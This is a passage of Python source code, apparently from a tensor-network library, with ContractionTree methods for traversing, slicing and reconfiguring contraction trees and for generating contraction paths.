KeyError:\n return False\n\n return True\n\n def get_default_order(self):\n return \"dfs\"\n\n def _traverse_ordered(self, order):\n \"\"\"Traverse the tree in the order that minimizes ``order(node)``, but\n still constrained to produce children before parents.\n \"\"\"\n from bisect import bisect\n\n if order == \"surface_order\":\n order = self.surface_order\n\n seen = set()\n queue = [self.root]\n scores = [order(self.root)]\n\n while len(seen) != len(self.children):\n i = 0\n while i < len(queue):\n node = queue[i]\n if node not in seen:\n for child in self.children[node]:\n if len(child) > 1:\n # insert child into queue by score + before parent\n score = order(child)\n ci = bisect(scores[:i], score)\n scores.insert(ci, score)\n queue.insert(ci, child)\n # parent moves extra place to right\n i += 1\n seen.add(node)\n i += 1\n\n for node in queue:\n yield (node, *self.children[node])\n\n def traverse(self, order=None):\n \"\"\"Generate, in order, all the node merges in this tree. Non-recursive!\n This ensures children are always visited before their parent.\n\n Parameters\n ----------\n order : None or callable, optional\n How to order the contractions within the tree. If a callable is\n given (which should take a node as its argument), try to contract\n nodes that minimize this function first.\n\n Returns\n -------\n generator[tuple[node]]\n The bottom up ordered sequence of tree merges, each a\n tuple of ``(parent, left_child, right_child)``.\n\n See Also\n --------\n descend\n \"\"\"\n if order is None:\n order = self.get_default_order()\n\n if order != \"dfs\":\n yield from self._traverse_ordered(order=order)\n return\n\n ready = set(self.gen_leaves())\n queue = [self.root]\n\n while queue:\n node = queue[-1]\n l, r = self.children[node]\n\n # both node's children are ready -> we can yield this contraction\n if (l in ready) and (r in ready):\n ready.add(queue.pop())\n yield node, l, r\n continue\n\n if r not in ready:\n queue.append(r)\n if l not in ready:\n queue.append(l)\n\n def descend(self, mode=\"dfs\"):\n \"\"\"Generate, from root to leaves, all the node merges in this tree.\n Non-recursive! This ensures parents are visited before their children.\n\n Parameters\n ----------\n mode : {'dfs', bfs}, optional\n How expand from a parent.\n\n Returns\n -------\n generator[tuple[node]\n The top down ordered sequence of tree merges, each a\n tuple of ``(parent, left_child, right_child)``.\n\n See Also\n --------\n traverse\n \"\"\"\n queue = [self.root]\n while queue:\n if mode == \"dfs\":\n parent = queue.pop(-1)\n elif mode == \"bfs\":\n parent = queue.pop(0)\n l, r = self.children[parent]\n yield parent, l, r\n if len(l) > 1:\n queue.append(l)\n if len(r) > 1:\n queue.append(r)\n\n def get_subtree(self, node, size, search=\"bfs\"):\n \"\"\"Get a subtree spanning down from ``node`` which will have ``size``\n leaves (themselves not necessarily leaves of the actual tree).\n\n Parameters\n ----------\n node : node\n The node of the tree to start with.\n size : int\n How many subtree leaves to aim for.\n search : {'bfs', 'dfs', 'random'}, optional\n How to build the tree:\n\n - 'bfs': breadth first expansion\n - 'dfs': depth first expansion (largest nodes first)\n - 'random': random expansion\n\n Returns\n -------\n sub_leaves : tuple[node]\n Nodes which are subtree leaves.\n branches : tuple[node]\n Nodes which are between the subtree leaves and root.\n \"\"\"\n # nodes which are subtree leaves\n branches = []\n\n # actual tree leaves - can't expand\n real_leaves = []\n\n # nodes to expand\n queue = [node]\n\n while (len(queue) + len(real_leaves) < size) and queue:\n if search == \"bfs\":\n p = queue.pop(0)\n elif search == \"dfs\":\n p = queue.pop(-1)\n elif search == \"random\":\n p = queue.pop(random.randint(0, len(queue) - 1))\n\n if len(p) == 1:\n real_leaves.append(p)\n continue\n\n # the left child is always >= in weight that right child\n # if we append it last then ``.pop(-1)`` above perform the\n # depth first search sorting by node subgraph size\n l, r = self.children[p]\n\n queue.append(r)\n queue.append(l)\n branches.append(p)\n\n # nodes at the bottom of the subtree\n sub_leaves = queue + real_leaves\n\n return tuple(sub_leaves), tuple(branches)\n\n def remove_ind(self, ind, project=None, inplace=False):\n \"\"\"Remove (i.e. by default slice) index ``ind`` from this contraction\n tree, taking care to update all relevant information about each node.\n \"\"\"\n tree = self if inplace else self.copy()\n\n # make sure all flops and size information has been populated\n tree.contract_stats()\n\n d = tree.size_dict[ind]\n\n for node, node_info in tree.info.items():\n # if ind doesn't feature in this node (contraction) nothing to do\n involved = tree.get_involved(node)\n\n # inputs can have leg indices that are not involved so\n legs = tree.get_legs(node)\n\n if (ind not in involved) and (ind not in legs):\n continue\n\n # else update all the relevant information about this node\n node_info[\"involved\"] = legs_without(involved, ind)\n removed = tree.get_removed(node)\n\n # update information regarding node indices sets\n if ind in legs:\n # removing indices changes both flops and size of node\n node_info[\"legs\"] = legs_without(legs, ind)\n\n old_size = tree.get_size(node)\n tree._sizes.discard(old_size)\n new_size = old_size // d\n tree._sizes.add(new_size)\n node_info[\"size\"] = new_size\n\n if len(node) > 1:\n # only non-leaf nodes contribute to write\n tree._write += -old_size + new_size\n else:\n # removing indices only changes flops\n node_info[\"removed\"] = legs_without(removed, ind)\n\n old_flops = tree.get_flops(node)\n new_flops = old_flops // d\n node_info[\"flops\"] = new_flops\n tree._flops += -old_flops + new_flops\n\n if len(node) == 1:\n # its a leaf - corresponding input will be sliced\n i = node_get_single_el(node)\n tree.sliced_inputs = tree.sliced_inputs | frozenset([i])\n tree.inputs_legs[i] = legs_without(tree.inputs_legs[i], ind)\n elif len(node) == tree.N:\n # root node\n tree.output_legs = legs_without(tree.output_legs, ind)\n\n # delete info we can't change\n for k in (\n \"inds\",\n \"einsum_eq\",\n \"can_dot\",\n \"tensordot_axes\",\n \"tensordot_perm\",\n ):\n tree.info[node].pop(k, None)\n\n if project is None:\n # we are slicing the index\n si = SliceInfo(ind not in tree.output, ind, d, None)\n tree.multiplicity = tree.multiplicity * d\n else:\n si = SliceInfo(ind not in tree.output, ind, 1, project)\n\n # update the ordered slice information dictionary, but maintain the\n # order such that output sliced indices always appear first ->\n # enforced by the dataclass SliceInfo ordering\n tree.sliced_inds = {\n si.ind: si for si in sorted((*tree.sliced_inds.values(), si))\n }\n\n tree.already_optimized.clear()\n tree.contraction_cores.clear()\n\n return tree\n\n remove_ind_ = functools.partialmethod(remove_ind, inplace=True)\n\n def calc_subtree_candidates(self, pwr=2, what=\"flops\"):\n candidates = list(self.children)\n\n if what == \"size\":\n weights = [self.get_size(x) for x in candidates]\n\n elif what == \"flops\":\n weights = [self.get_flops(x) for x in candidates]\n\n max_weight = max(weights)\n\n # can be bigger than numpy int/float allows\n weights = [float(w / max_weight) ** (1 / pwr) for w in weights]\n\n # sort by descending score\n candidates, weights = zip(\n *sorted(zip(candidates, weights), key=lambda x: -x[1])\n )\n\n return list(candidates), list(weights)\n\n def subtree_reconfigure(\n self,\n subtree_size=8,\n subtree_search=\"bfs\",\n weight_what=\"flops\",\n weight_pwr=2,\n select=\"max\",\n maxiter=500,\n seed=None,\n minimize=\"flops\",\n optimize=None,\n inplace=False,\n progbar=False,\n ):\n \"\"\"Reconfigure subtrees of this tree with locally optimal paths.\n\n Parameters\n ----------\n subtree_size : int, optional\n The size of subtree to consider. Cost is exponential in this.\n subtree_search : {'bfs', 'dfs', 'random'}, optional\n How to build the subtrees:\n\n - 'bfs': breadth-first-search creating balanced subtrees\n - 'dfs': depth-first-search creating imbalanced subtrees\n - 'random': random subtree building\n\n weight_what : {'flops', 'size'}, optional\n When assessing nodes to build and optimize subtrees from whether to\n score them by the (local) contraction cost, or tensor size.\n weight_pwr : int, optional\n When assessing nodes to build and optimize subtrees from, how to\n scale their score into a probability: ``score**(1 / weight_pwr)``.\n The larger this is the more explorative the algorithm is when\n ``select='random'``.\n select : {'max', 'min', 'random'}, optional\n What order to select node subtrees to optimize:\n\n - 'max': choose the highest score first\n - 'min': choose the lowest score first\n - 'random': choose randomly weighted on score -- see\n ``weight_pwr``.\n\n maxiter : int, optional\n How many subtree optimizations to perform, the algorithm can\n terminate before this if all subtrees have been optimized.\n seed : int, optional\n A random seed (seeds python system random module).\n minimize : {'flops', 'size'}, optional\n Whether to minimize with respect to contraction flops or size.\n inplace : bool, optional\n Whether to perform the reconfiguration inplace or not.\n progbar : bool, optional\n Whether to show live progress of the reconfiguration.\n\n Returns\n -------\n ContractionTree\n \"\"\"\n tree = self if inplace else self.copy()\n\n # ensure these have been computed and thus are being tracked\n tree.contract_stats()\n\n scorer = get_score_fn(minimize)\n\n if optimize is None:\n from .pathfinders.path_basic import OptimalOptimizer\n\n opt = OptimalOptimizer(\n minimize=scorer.get_dynamic_programming_minimize()\n )\n else:\n opt = optimize\n\n node_cost = getattr(scorer, \"cost_local_tree_node\", lambda _: 2)\n\n # different caches as we might want to reconfigure one before other\n self.already_optimized.setdefault(minimize, set())\n already_optimized = self.already_optimized[minimize]\n\n if seed is not None:\n random.seed(seed)\n\n candidates, weights = self.calc_subtree_candidates(\n pwr=weight_pwr, what=weight_what\n )\n\n if progbar:\n import tqdm\n\n pbar = tqdm.tqdm()\n pbar.set_description(_describe_tree(tree), refresh=False)\n\n r = 0\n try:\n while candidates and r < maxiter:\n if select == \"max\":\n i = 0\n elif select == \"min\":\n i = -1\n elif select == \"random\":\n (i,) = random.choices(\n range(len(candidates)), weights=weights\n )\n\n weights.pop(i)\n sub_root = candidates.pop(i)\n\n # get a subtree to possibly reconfigure\n sub_leaves, sub_branches = tree.get_subtree(\n sub_root, size=subtree_size, search=subtree_search\n )\n\n sub_leaves = frozenset(sub_leaves)\n\n # check if its already been optimized\n if sub_leaves in already_optimized:\n continue\n\n # else remove the branches, keeping track of current cost\n current_cost = node_cost(tree, sub_root)\n for node in sub_branches:\n if minimize == \"size\":\n current_cost = max(current_cost, node_cost(tree, node))\n else:\n current_cost += node_cost(tree, node)\n tree._remove_node(node)\n\n # make the optimizer more efficient by supplying accurate cap\n opt.cost_cap = max(2, current_cost)\n\n # and reoptimize the leaves\n tree.contract_nodes(sub_leaves, optimize=opt)\n already_optimized.add(sub_leaves)\n\n r += 1\n\n if progbar:\n pbar.update()\n pbar.set_description(_describe_tree(tree), refresh=False)\n\n # if we have reconfigured simply re-add all candidates\n candidates, weights = tree.calc_subtree_candidates(\n pwr=weight_pwr, what=weight_what\n )\n finally:\n if progbar:\n pbar.close()\n\n # invalidate any compiled contractions\n tree.contraction_cores.clear()\n\n return tree\n\n subtree_reconfigure_ = functools.partialmethod(\n subtree_reconfigure, inplace=True\n )\n\n def subtree_reconfigure_forest(\n self,\n num_trees=8,\n num_restarts=10,\n restart_fraction=0.5,\n subtree_maxiter=100,\n subtree_size=10,\n subtree_search=(\"random\", \"bfs\"),\n subtree_select=(\"random\",),\n subtree_weight_what=(\"flops\", \"size\"),\n subtree_weight_pwr=(2,),\n parallel=\"auto\",\n parallel_maxiter_steps=4,\n minimize=\"flops\",\n progbar=False,\n inplace=False,\n ):\n \"\"\"'Forested' version of ``subtree_reconfigure`` which is more\n explorative and can be parallelized. It stochastically generates\n a 'forest' reconfigured trees, then only keeps some fraction of these\n to generate the next forest.\n\n Parameters\n ----------\n num_trees : int, optional\n The number of trees to reconfigure at each stage.\n num_restarts : int, optional\n The number of times to halt, prune and then restart the\n tree reconfigurations.\n restart_fraction : float, optional\n The fraction of trees to keep at each stage and generate the next\n forest from.\n subtree_maxiter : int, optional\n Number of subtree reconfigurations per step.\n ``num_restarts * subtree_maxiter`` is the max number of total\n subtree reconfigurations for the final tree produced.\n subtree_size : int, optional\n The size of subtrees to search for and reconfigure.\n subtree_search : tuple[{'random', 'bfs', 'dfs'}], optional\n Tuple of options for the ``search`` kwarg of\n :meth:`ContractionTree.subtree_reconfigure` to randomly sample.\n subtree_select : tuple[{'random', 'max', 'min'}], optional\n Tuple of options for the ``select`` kwarg of\n :meth:`ContractionTree.subtree_reconfigure` to randomly sample.\n subtree_weight_what : tuple[{'flops', 'size'}], optional\n Tuple of options for the ``weight_what`` kwarg of\n :meth:`ContractionTree.subtree_reconfigure` to randomly sample.\n subtree_weight_pwr : tuple[int], optional\n Tuple of options for the ``weight_pwr`` kwarg of\n :meth:`ContractionTree.subtree_reconfigure` to randomly sample.\n parallel : 'auto', False, True, int, or distributed.Client\n Whether to parallelize the search.\n parallel_maxiter_steps : int, optional\n If parallelizing, how many steps to break each reconfiguration into\n in order to evenly saturate many processes.\n minimize : {'flops', 'size', ..., Objective}, optional\n Whether to minimize the total flops or maximum size of the\n contraction tree.\n progbar : bool, optional\n Whether to show live progress.\n inplace : bool, optional\n Whether to perform the subtree reconfiguration inplace.\n\n Returns\n -------\n ContractionTree\n \"\"\"\n tree = self if inplace else self.copy()\n\n # candidate trees\n num_keep = max(1, int(num_trees * restart_fraction))\n\n # how to rank the trees\n score = get_score_fn(minimize)\n\n # set up the initial 'forest' and parallel machinery\n pool = parse_parallel_arg(parallel)\n is_scatter_pool = can_scatter(pool)\n if is_scatter_pool:\n is_worker = maybe_leave_pool(pool)\n # store the trees as futures for the entire process\n forest = [scatter(pool, tree)]\n maxiter = subtree_maxiter // parallel_maxiter_steps\n else:\n forest = [tree]\n maxiter = subtree_maxiter\n\n if progbar:\n import tqdm\n\n pbar = tqdm.tqdm(total=num_restarts)\n pbar.set_description(_describe_tree(tree), refresh=False)\n\n try:\n for _ in range(num_restarts):\n # on the next round take only the best trees\n forest = itertools.cycle(forest[:num_keep])\n\n # select some random configurations\n saplings = [\n {\n \"tree\": next(forest),\n \"maxiter\": maxiter,\n \"minimize\": minimize,\n \"subtree_size\": subtree_size,\n \"subtree_search\": random.choice(subtree_search),\n \"select\": random.choice(subtree_select),\n \"weight_pwr\": random.choice(subtree_weight_pwr),\n \"weight_what\": random.choice(subtree_weight_what),\n }\n for _ in range(num_trees)\n ]\n\n if pool is None:\n forest = [_reconfigure_tree(**s) for s in saplings]\n res = [{\"tree\": t, **_get_tree_info(t)} for t in forest]\n elif not is_scatter_pool:\n forest_futures = [\n submit(pool, _reconfigure_tree, **s) for s in saplings\n ]\n forest = [f.result() for f in forest_futures]\n res = [{\"tree\": t, **_get_tree_info(t)} for t in forest]\n else:\n # submit in smaller steps to saturate processes\n for _ in range(parallel_maxiter_steps):\n for s in saplings:\n s[\"tree\"] = submit(pool, _reconfigure_tree, **s)\n\n # compute scores remotely then gather\n forest_futures = [s[\"tree\"] for s in saplings]\n res_futures = [\n submit(pool, _get_tree_info, t) for t in forest_futures\n ]\n res = [\n {\"tree\": tree_future, **res_future.result()}\n for tree_future, res_future in zip(\n forest_futures, res_futures\n )\n ]\n\n # update the order of the new forest\n res.sort(key=score)\n forest = [r[\"tree\"] for r in res]\n\n if progbar:\n pbar.update()\n if pool is None:\n d = _describe_tree(forest[0])\n else:\n d = submit(pool, _describe_tree, forest[0]).result()\n pbar.set_description(d, refresh=False)\n\n finally:\n if progbar:\n pbar.close()\n\n if is_scatter_pool:\n tree.set_state_from(forest[0].result())\n maybe_rejoin_pool(is_worker, pool)\n else:\n tree.set_state_from(forest[0])\n\n return tree\n\n subtree_reconfigure_forest_ = functools.partialmethod(\n subtree_reconfigure_forest, inplace=True\n )\n\n def slice(\n self,\n target_size=None,\n target_overhead=None,\n target_slices=None,\n temperature=0.01,\n minimize=\"flops\",\n allow_outer=True,\n max_repeats=16,\n inplace=False,\n ):\n \"\"\"Slice this tree (turn some indices into indices which are explicitly\n summed over rather than being part of contractions). The indices are\n stored in ``tree.sliced_inds``, and the contraction width updated to\n take account of the slicing. Calling ``tree.contract(arrays)`` moreover\n which automatically perform the slicing and summation.\n\n Parameters\n ----------\n target_size : int, optional\n The target number of entries in the largest tensor of the sliced\n contraction. The search algorithm will terminate after this is\n reached.\n target_slices : int, optional\n The target or minimum number of 'slices' to consider - individual\n contractions after slicing indices. The search algorithm will\n terminate after this is breached.\n target_overhead : float, optional\n The target increase in total number of floating point operations.\n For example, a value of ``2.0`` will terminate the search just\n before the cost of computing all the slices individually breaches\n twice that of computing the original contraction all at once.\n temperature : float, optional\n How much to randomize the repeated search.\n minimize : {'flops', 'size', ..., Objective}, optional\n Which metric to score the overhead increase against.\n allow_outer : bool, optional\n Whether to allow slicing of outer indices.\n max_repeats : int, optional\n How many times to repeat the search with a slight randomization.\n inplace : bool, optional\n Whether the remove the indices from this tree inplace or not.\n\n Returns\n -------\n ContractionTree\n\n See Also\n --------\n SliceFinder, ContractionTree.slice_and_reconfigure\n \"\"\"\n from .slicer import SliceFinder\n\n tree = self if inplace else self.copy()\n\n sf = SliceFinder(\n tree,\n target_size=target_size,\n target_overhead=target_overhead,\n target_slices=target_slices,\n temperature=temperature,\n minimize=minimize,\n allow_outer=allow_outer,\n )\n\n ix_sl, _ = sf.search(max_repeats)\n for ix in ix_sl:\n tree.remove_ind_(ix)\n\n return tree\n\n slice_ = functools.partialmethod(slice, inplace=True)\n\n def slice_and_reconfigure(\n self,\n target_size,\n step_size=2,\n temperature=0.01,\n minimize=\"flops\",\n allow_outer=True,\n max_repeats=16,\n reconf_opts=None,\n progbar=False,\n inplace=False,\n ):\n \"\"\"Interleave slicing (removing indices into an exterior sum) with\n subtree reconfiguration to minimize the overhead induced by this\n slicing.\n\n Parameters\n ----------\n target_size : int\n Slice the tree until the maximum intermediate size is this or\n smaller.\n step_size : int, optional\n The minimum size reduction to try and achieve before switching to a\n round of subtree reconfiguration.\n temperature : float, optional\n The temperature to supply to ``SliceFinder`` for searching for\n indices.\n minimize : {'flops', 'size', ..., Objective}, optional\n The metric to minimize when slicing and reconfiguring subtrees.\n max_repeats : int, optional\n The number of slicing attempts to perform per search.\n progbar : bool, optional\n Whether to show live progress.\n inplace : bool, optional\n Whether to perform the slicing and reconfiguration inplace.\n reconf_opts : None or dict, optional\n Supplied to\n :meth:`ContractionTree.subtree_reconfigure` or\n :meth:`ContractionTree.subtree_reconfigure_forest`, depending on\n `'forested'` key value.\n \"\"\"\n tree = self if inplace else self.copy()\n\n reconf_opts = {} if reconf_opts is None else dict(reconf_opts)\n minimize = get_score_fn(minimize)\n reconf_opts.setdefault(\"minimize\", minimize)\n forested_reconf = reconf_opts.pop(\"forested\", False)\n\n if progbar:\n import tqdm\n\n pbar = tqdm.tqdm()\n pbar.set_description(_describe_tree(tree), refresh=False)\n\n try:\n while tree.max_size() > target_size:\n tree.slice_(\n temperature=temperature,\n target_slices=step_size,\n minimize=minimize,\n allow_outer=allow_outer,\n max_repeats=max_repeats,\n )\n if forested_reconf:\n tree.subtree_reconfigure_forest_(**reconf_opts)\n else:\n tree.subtree_reconfigure_(**reconf_opts)\n\n if progbar:\n pbar.update()\n pbar.set_description(_describe_tree(tree), refresh=False)\n finally:\n if progbar:\n pbar.close()\n\n return tree\n\n slice_and_reconfigure_ = functools.partialmethod(\n slice_and_reconfigure, inplace=True\n )\n\n def slice_and_reconfigure_forest(\n self,\n target_size,\n step_size=2,\n num_trees=8,\n restart_fraction=0.5,\n temperature=0.02,\n max_repeats=32,\n minimize=\"flops\",\n allow_outer=True,\n parallel=\"auto\",\n progbar=False,\n inplace=False,\n reconf_opts=None,\n ):\n \"\"\"'Forested' version of :meth:`ContractionTree.slice_and_reconfigure`.\n This maintains a 'forest' of trees with different slicing and subtree\n reconfiguration attempts, pruning the worst at each step and generating\n a new forest from the best.\n\n Parameters\n ----------\n target_size : int\n Slice the tree until the maximum intermediate size is this or\n smaller.\n step_size : int, optional\n The minimum size reduction to try and achieve before switching to a\n round of subtree reconfiguration.\n num_restarts : int, optional\n The number of times to halt, prune and then restart the\n tree reconfigurations.\n restart_fraction : float, optional\n The fraction of trees to keep at each stage and generate the next\n forest from.\n temperature : float, optional\n The temperature at which to randomize the sliced index search.\n max_repeats : int, optional\n The number of slicing attempts to perform per search.\n parallel : 'auto', False, True, int, or distributed.Client\n Whether to parallelize the search.\n progbar : bool, optional\n Whether to show live progress.\n inplace : bool, optional\n Whether to perform the slicing and reconfiguration inplace.\n reconf_opts : None or dict, optional\n Supplied to\n :meth:`ContractionTree.slice_and_reconfigure`.\n\n Returns\n -------\n ContractionTree\n \"\"\"\n tree = self if inplace else self.copy()\n\n # candidate trees\n num_keep = max(1, int(num_trees * restart_fraction))\n\n # how to rank the trees\n score = get_score_fn(minimize)\n\n # set up the initial 'forest' and parallel machinery\n pool = parse_parallel_arg(parallel)\n is_scatter_pool = can_scatter(pool)\n if is_scatter_pool:\n is_worker = maybe_leave_pool(pool)\n # store the trees as futures for the entire process\n forest = [scatter(pool, tree)]\n else:\n forest = [tree]\n\n if progbar:\n import tqdm\n\n pbar = tqdm.tqdm()\n pbar.set_description(_describe_tree(tree), refresh=False)\n\n next_size = tree.max_size()\n\n try:\n while True:\n next_size //= step_size\n\n # on the next round take only the best trees\n forest = itertools.cycle(forest[:num_keep])\n\n saplings = [\n {\n \"tree\": next(forest),\n \"target_size\": next_size,\n \"step_size\": step_size,\n \"temperature\": temperature,\n \"max_repeats\": max_repeats,\n \"reconf_opts\": reconf_opts,\n \"allow_outer\": allow_outer,\n }\n for _ in range(num_trees)\n ]\n\n if pool is None:\n forest = [\n _slice_and_reconfigure_tree(**s) for s in saplings\n ]\n res = [{\"tree\": t, **_get_tree_info(t)} for t in forest]\n\n elif not is_scatter_pool:\n # simple pool with no pass by reference\n forest_futures = [\n submit(pool, _slice_and_reconfigure_tree, **s)\n for s in saplings\n ]\n forest = [f.result() for f in forest_futures]\n res = [{\"tree\": t, **_get_tree_info(t)} for t in forest]\n\n else:\n forest_futures = [\n submit(pool, _slice_and_reconfigure_tree, **s)\n for s in saplings\n ]\n\n # compute scores remotely then gather\n res_futures = [\n submit(pool, _get_tree_info, t) for t in forest_futures\n ]\n res = [\n {\"tree\": tree_future, **res_future.result()}\n for tree_future, res_future in zip(\n forest_futures, res_futures\n )\n ]\n\n # we want to sort by flops, but also favour sampling as\n # many different sliced index combos as possible\n # ~ [1, 1, 1, 2, 2, 3] -> [1, 2, 3, 1, 2, 1]\n res.sort(key=score)\n res = list(\n interleave(\n groupby(lambda r: r[\"sliced_ind_set\"], res).values()\n )\n )\n\n # update the order of the new forest\n forest = [r[\"tree\"] for r in res]\n\n if progbar:\n pbar.update()\n if pool is None:\n d = _describe_tree(forest[0])\n else:\n d = submit(pool, _describe_tree, forest[0]).result()\n pbar.set_description(d, refresh=False)\n\n if res[0][\"size\"] <= target_size:\n break\n\n finally:\n if progbar:\n pbar.close()\n\n if is_scatter_pool:\n tree.set_state_from(forest[0].result())\n maybe_rejoin_pool(is_worker, pool)\n else:\n tree.set_state_from(forest[0])\n\n return tree\n\n slice_and_reconfigure_forest_ = functools.partialmethod(\n slice_and_reconfigure_forest, inplace=True\n )\n\n def compressed_reconfigure(\n self,\n minimize,\n order_only=False,\n max_nodes=\"auto\",\n max_time=None,\n local_score=None,\n exploration_power=0,\n best_score=None,\n progbar=False,\n inplace=False,\n ):\n \"\"\"Reconfigure this tree according to ``peak_size_compressed``.\n\n Parameters\n ----------\n chi : int\n The maximum bond dimension to consider.\n order_only : bool, optional\n Whether to only consider the ordering of the current tree\n contractions, or all possible contractions, starting with the\n current.\n max_nodes : int, optional\n Set the maximum number of contraction steps to consider.\n max_time : float, optional\n Set the maximum time to spend on the search.\n local_score : callable, optional\n A function that assigns a score to a potential contraction, with a\n lower score giving more priority to explore that contraction\n earlier. It should have signature::\n\n local_score(step, new_score, dsize, new_size)\n\n where ``step`` is the number of steps so far, ``new_score`` is the\n score of the contraction so far, ``dsize`` is the change in memory\n by the current step, and ``new_size`` is the new memory size after\n contraction.\n exploration_power : float, optional\n If not ``0.0``, the inverse power to which the step is raised in\n the default local score function. Higher values favor exploring\n more promising branches early on - at the cost of increased memory.\n Ignored if ``local_score`` is supplied.\n best_score : float, optional\n Manually specify an upper bound for best score found so far.\n progbar : bool, optional\n If ``True``, display a progress bar.\n inplace : bool, optional\n Whether to perform the reconfiguration inplace on this tree.\n\n Returns\n -------\n ContractionTree\n \"\"\"\n from .experimental.path_compressed_branchbound import (\n CompressedExhaustive,\n )\n\n if max_nodes == \"auto\":\n if max_time is None:\n max_nodes = max(10_000, self.N**2)\n else:\n max_nodes = float(\"inf\")\n\n opt = CompressedExhaustive(\n minimize=minimize,\n local_score=local_score,\n max_nodes=max_nodes,\n max_time=max_time,\n exploration_power=exploration_power,\n best_score=best_score,\n progbar=progbar,\n )\n opt.setup(self.inputs, self.output, self.size_dict)\n opt.explore_path(self.get_path_surface(), restrict=order_only)\n\n # rtree = opt.search(self.inputs, self.output, self.size_dict)\n\n opt.run(self.inputs, self.output, self.size_dict)\n ssa_path = opt.ssa_path\n # ssa_path = opt(self.inputs, self.output, self.size_dict)\n rtree = self.__class__.from_path(\n self.inputs,\n self.output,\n self.size_dict,\n ssa_path=ssa_path,\n )\n if inplace:\n self.set_state_from(rtree)\n rtree = self\n rtree.set_surface_order_from_path(ssa_path)\n return rtree\n\n compressed_reconfigure_ = functools.partialmethod(\n compressed_reconfigure, inplace=True\n )\n\n def windowed_reconfigure(\n self,\n minimize,\n order_only=False,\n window_size=20,\n max_iterations=100,\n max_window_tries=1000,\n score_temperature=0.0,\n queue_temperature=1.0,\n scorer=None,\n queue_scorer=None,\n seed=None,\n inplace=False,\n progbar=False,\n **kwargs,\n ):\n from .pathfinders.path_compressed import WindowedOptimizer\n\n wo = WindowedOptimizer(\n self.inputs,\n self.output,\n self.size_dict,\n minimize=minimize,\n ssa_path=self.get_ssa_path(),\n seed=seed,\n )\n\n wo.refine(\n window_size=window_size,\n max_iterations=max_iterations,\n order_only=order_only,\n max_window_tries=max_window_tries,\n score_temperature=score_temperature,\n queue_temperature=queue_temperature,\n scorer=scorer,\n queue_scorer=queue_scorer,\n progbar=progbar,\n **kwargs,\n )\n ssa_path = wo.get_ssa_path()\n\n rtree = self.__class__.from_path(\n self.inputs,\n self.output,\n self.size_dict,\n ssa_path=ssa_path,\n )\n\n if inplace:\n self.set_state_from(rtree)\n rtree = self\n rtree.set_surface_order_from_path(ssa_path)\n\n return rtree\n\n windowed_reconfigure_ = functools.partialmethod(\n windowed_reconfigure, inplace=True\n )\n\n def flat_tree(self, order=None):\n \"\"\"Create a nested tuple representation of the contraction tree like::\n\n ((0, (1, 2)), ((3, 4), ((5, (6, 7)), (8, 9))))\n\n Such that the contraction will progress like::\n\n ((0, (1, 2)), ((3, 4), ((5, (6, 7)), (8, 9))))\n ((0, 12), (34, ((5, 67), 89)))\n (012, (34, (567, 89)))\n (012, (34, 56789))\n (012, 3456789)\n 0123456789\n\n Where each integer represents a leaf (i.e. single element node).\n \"\"\"\n tups = dict(zip(self.gen_leaves(), range(self.N)))\n\n for parent, l, r in self.traverse(order=order):\n tups[parent] = tups[l], tups[r]\n\n return tups[self.root]\n\n def get_leaves_ordered(self):\n \"\"\"Return the list of leaves as ordered by the contraction tree.\n\n Returns\n -------\n tuple[frozenset[str]]\n \"\"\"\n if not self.is_complete():\n raise ValueError(\"Can't order the leaves until tree is complete.\")\n\n return tuple(\n nd\n for nd in itertools.chain.from_iterable(self.traverse())\n if len(nd) == 1\n )\n\n def get_path(self, order=None):\n \"\"\"Generate a standard path from the contraction tree.\"\"\"\n path = []\n terms = list(self.gen_leaves())\n\n for parent, l, r in self.traverse(order=order):\n i, j = sorted((terms.index(l), terms.index(r)))\n terms.pop(j)\n terms.pop(i)\n path.append((i, j))\n terms.append(parent)\n\n return tuple(path)\n\n path = deprecated(get_path, \"path\", \"get_path\")\n\n def get_numpy_path(self, order=None):\n \"\"\"Generate a path compatible with the `optimize` kwarg of\n `numpy.einsum`.\n \"\"\"\n return [\"einsum_path\", *self.get_path(order=order)]\n\n def get_ssa_path(self, order=None):\n \"\"\"Generate a ssa path from the contraction tree.\"\"\"\n ssa_path = []\n pos = dict(zip(self.gen_leaves(), range(self.N)))\n\n for parent, l, r in self.traverse(order=order):\n i, j = sorted((pos[l], pos[r]))\n ssa_path.append((i, j))\n pos[parent] = len(ssa_path) + self.N - 1\n\n return tuple(ssa_path)\n\n ssa_path = deprecated(get_ssa_path, \"ssa_path\", \"get_ssa_path\")\n\n def surface_order(self, node):\n return (len(node), self.get_centrality(node))\n\n def set_surface_order_from_path(self, ssa_path):\n o = {}\n nodes = list(self.gen_leaves())\n for j, p in enumerate(ssa_path):\n l, r = (nodes[i] for i in p)\n p = l.union(r)\n nodes.append(p)\n o[p] = j\n\n self.surface_order = functools.partial(\n get_with_default, obj=o, default=float(\"inf\")\n )\n\n def get_path_surface(self):\n return self.get_path(order=self.surface_order)\n\n path_surface = deprecated(\n get_path_surface, \"path_surface\", \"get_path_surface\"\n )\n\n def get_ssa_path_surface(self):\n return self.get_ssa_path(order=self.surface_order)\n\n ssa_path_surface = deprecated(\n get_ssa_path_surface, \"ssa_path_surface\", \"get_ssa_path_surface\"\n )\n\n def get_spans(self):\n \"\"\"Get all (which could mean none) potential embeddings of this\n contraction tree into a spanning tree of the original graph.\n\n Returns\n -------\n tuple[dict[frozenset[int], frozenset[int]]]\n \"\"\"\n ind_to_term = collections.defaultdict(set)\n for i, term in enumerate(self.inputs):\n for ix in term:\n ind_to_term[ix].add(i)\n\n def boundary_pairs(node):\n \"\"\"Get nodes along the boundary of the bipartition represented by\n ``node``.\n \"\"\"\n pairs = set()\n for ix in self.get_removed(node):\n # for every index across the contraction\n l1, l2 = ind_to_term[ix]\n\n # can either span from left to right or right to left\n pairs.add((l1, l2))\n pairs.add((l2, l1))\n\n return pairs\n\n # first span choice is any nodes across the top level bipart\n candidates = [\n {\n # which intermedate nodes map to which leaf nodes\n \"map\": {self.root: node_from_single(l2)},\n # the leaf nodes in the spanning tree\n \"spine\": {l1, l2},\n }\n for l1, l2 in boundary_pairs(self.root)\n ]\n\n for _, l, r in self.descend():\n for child in (r, l):\n # for each current candidate check all the possible extensions\n for _ in range(len(candidates)):\n cand = candidates.pop(0)\n\n # don't need to do anything for\n if len(child) == 1:\n candidates.append(\n {\n \"map\": {child: child, **cand[\"map\"]},\n \"spine\": cand[\"spine\"].copy(),\n }\n )\n\n for l1, l2 in boundary_pairs(child):\n if (l1 in cand[\"spine\"]) or (l2 not in cand[\"spine\"]):\n # pair does not merge inwards into spine\n continue\n\n # valid extension of spanning tree\n candidates.append(\n {\n \"map\": {\n child: 